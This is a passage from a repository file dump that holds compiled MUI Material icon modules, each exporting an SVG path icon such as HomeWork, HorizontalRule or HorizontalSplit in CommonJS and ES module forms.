    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16c-.55 0-1-.45-1-1H8c0 .55-.45 1-1 1s-1-.45-1-1H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-4c0 .55-.45 1-1 1m3-8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v4h4v-1c0-.55.45-1 1-1s1 .45 1 1v1h8v-1c0-.55.45-1 1-1s1 .45 1 1v1h4v-4c0-1.1-.9-2-2-2m-5 0H9V6h6z\"\n}), 'HomeRepairServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16c-.55 0-1-.45-1-1H8c0 .55-.45 1-1 1s-1-.45-1-1H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-4c0 .55-.45 1-1 1m3-8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v4h4v-1c0-.55.45-1 1-1s1 .45 1 1v1h8v-1c0-.55.45-1 1-1s1 .45 1 1v1h4v-4c0-1.1-.9-2-2-2m-5 0H9V6h6z\"\n}), 'HomeRepairServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H2v5h20v-5h-4zm-1-8V4H7v4H2v6h4v-2h2v2h8v-2h2v2h4V8zM9 6h6v2H9z\"\n}), 'HomeRepairServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H2v5h20v-5h-4zm-1-8V4H7v4H2v6h4v-2h2v2h8v-2h2v2h4V8zM9 6h6v2H9z\"\n}), 'HomeRepairServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v10h20V10c0-1.1-.9-2-2-2M9 6h6v2H9zm11 12H4v-3h2v1h2v-1h8v1h2v-1h2zm0-5h-2v-1h-2v1H8v-1H6v1H4v-3h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H4v3h16v-3h-2zM4 10v3h2v-1h2v1h8v-1h2v1h2v-3H7z\",\n  opacity: \".3\"\n}, \"1\")], 'HomeRepairServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v10h20V10c0-1.1-.9-2-2-2M9 6h6v2H9zm11 12H4v-3h2v1h2v-1h8v1h2v-1h2zm0-5h-2v-1h-2v1H8v-1H6v1H4v-3h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H4v3h16v-3h-2zM4 10v3h2v-1h2v1h8v-1h2v1h2v-3H7z\",\n  opacity: \".3\"\n}, \"1\")], 'HomeRepairServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1\"\n}), 'HomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1\"\n}), 'HomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\"\n}), 'HomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\"\n}), 'HomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 12h3v8h6v-6h2v6h6v-8h3zm5 15h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10.19V18h2v-6h6v6h2v-7.81l-5-4.5z\",\n  opacity: \".3\"\n}, \"1\")], 'HomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 12h3v8h6v-6h2v6h6v-8h3zm5 15h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 10.19V18h2v-6h6v6h2v-7.81l-5-4.5z\",\n  opacity: \".3\"\n}, \"1\")], 'HomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWork.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'HomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWork.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'HomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-6.97l5-3.57 5 3.57zm4-12h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l2 1.43V5h9v14h-4v2h6V3z\"\n}, \"1\")], 'HomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-6.97l5-3.57 5 3.57zm4-12h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l2 1.43V5h9v14h-4v2h6V3z\"\n}, \"1\")], 'HomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.16 10.4-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V20c0 .55.45 1 1 1h4v-6h4v6h4c.55 0 1-.45 1-1v-7.97c0-.65-.31-1.25-.84-1.63\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.09.09c.08.05.16.09.24.14l5 3.57c.76.54 1.3 1.34 1.54 2.23H19v2h-2v2h2v2h-2v4h4.03c1.09 0 1.97-.88 1.97-1.97V4.97C23 3.88 22.12 3 21.03 3M19 9h-2V7h2z\"\n}, \"1\")], 'HomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.16 10.4-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V20c0 .55.45 1 1 1h4v-6h4v6h4c.55 0 1-.45 1-1v-7.97c0-.65-.31-1.25-.84-1.63\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.09.09c.08.05.16.09.24.14l5 3.57c.76.54 1.3 1.34 1.54 2.23H19v2h-2v2h2v2h-2v4h4.03c1.09 0 1.97-.88 1.97-1.97V4.97C23 3.88 22.12 3 21.03 3M19 9h-2V7h2z\"\n}, \"1\")], 'HomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'HomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'HomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11h2v2h-2v2h2v2h-2v2h4V5h-9v1.4l5 3.57zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l.96.69L12 6.4V5h9v14h-4v2h6V3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v7h2v-5h6v5h2v-7L8 8.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"3\")], 'HomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeWorkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11h2v2h-2v2h2v2h-2v2h4V5h-9v1.4l5 3.57zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l.96.69L12 6.4V5h9v14h-4v2h6V3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v7h2v-5h6v5h2v-7L8 8.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"3\")], 'HomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRule.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRule');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRule.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRule');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19 13H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'HorizontalRuleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19 13H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'HorizontalRuleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalRuleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M4 11h16v2H4z\"\n}), 'HorizontalRuleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18v-6H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'HorizontalSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18v-6H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'HorizontalSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15v2H5v-2zm2-10H3v2h18zm0 4H3v2h18zm0 4H3v6h18z\"\n}), 'HorizontalSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15v2H5v-2zm2-10H3v2h18zm0 4H3v2h18zm0 4H3v6h18z\"\n}), 'HorizontalSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'HorizontalSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'HorizontalSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18v-6H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'HorizontalSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18v-6H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'HorizontalSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitTwoTone.js",
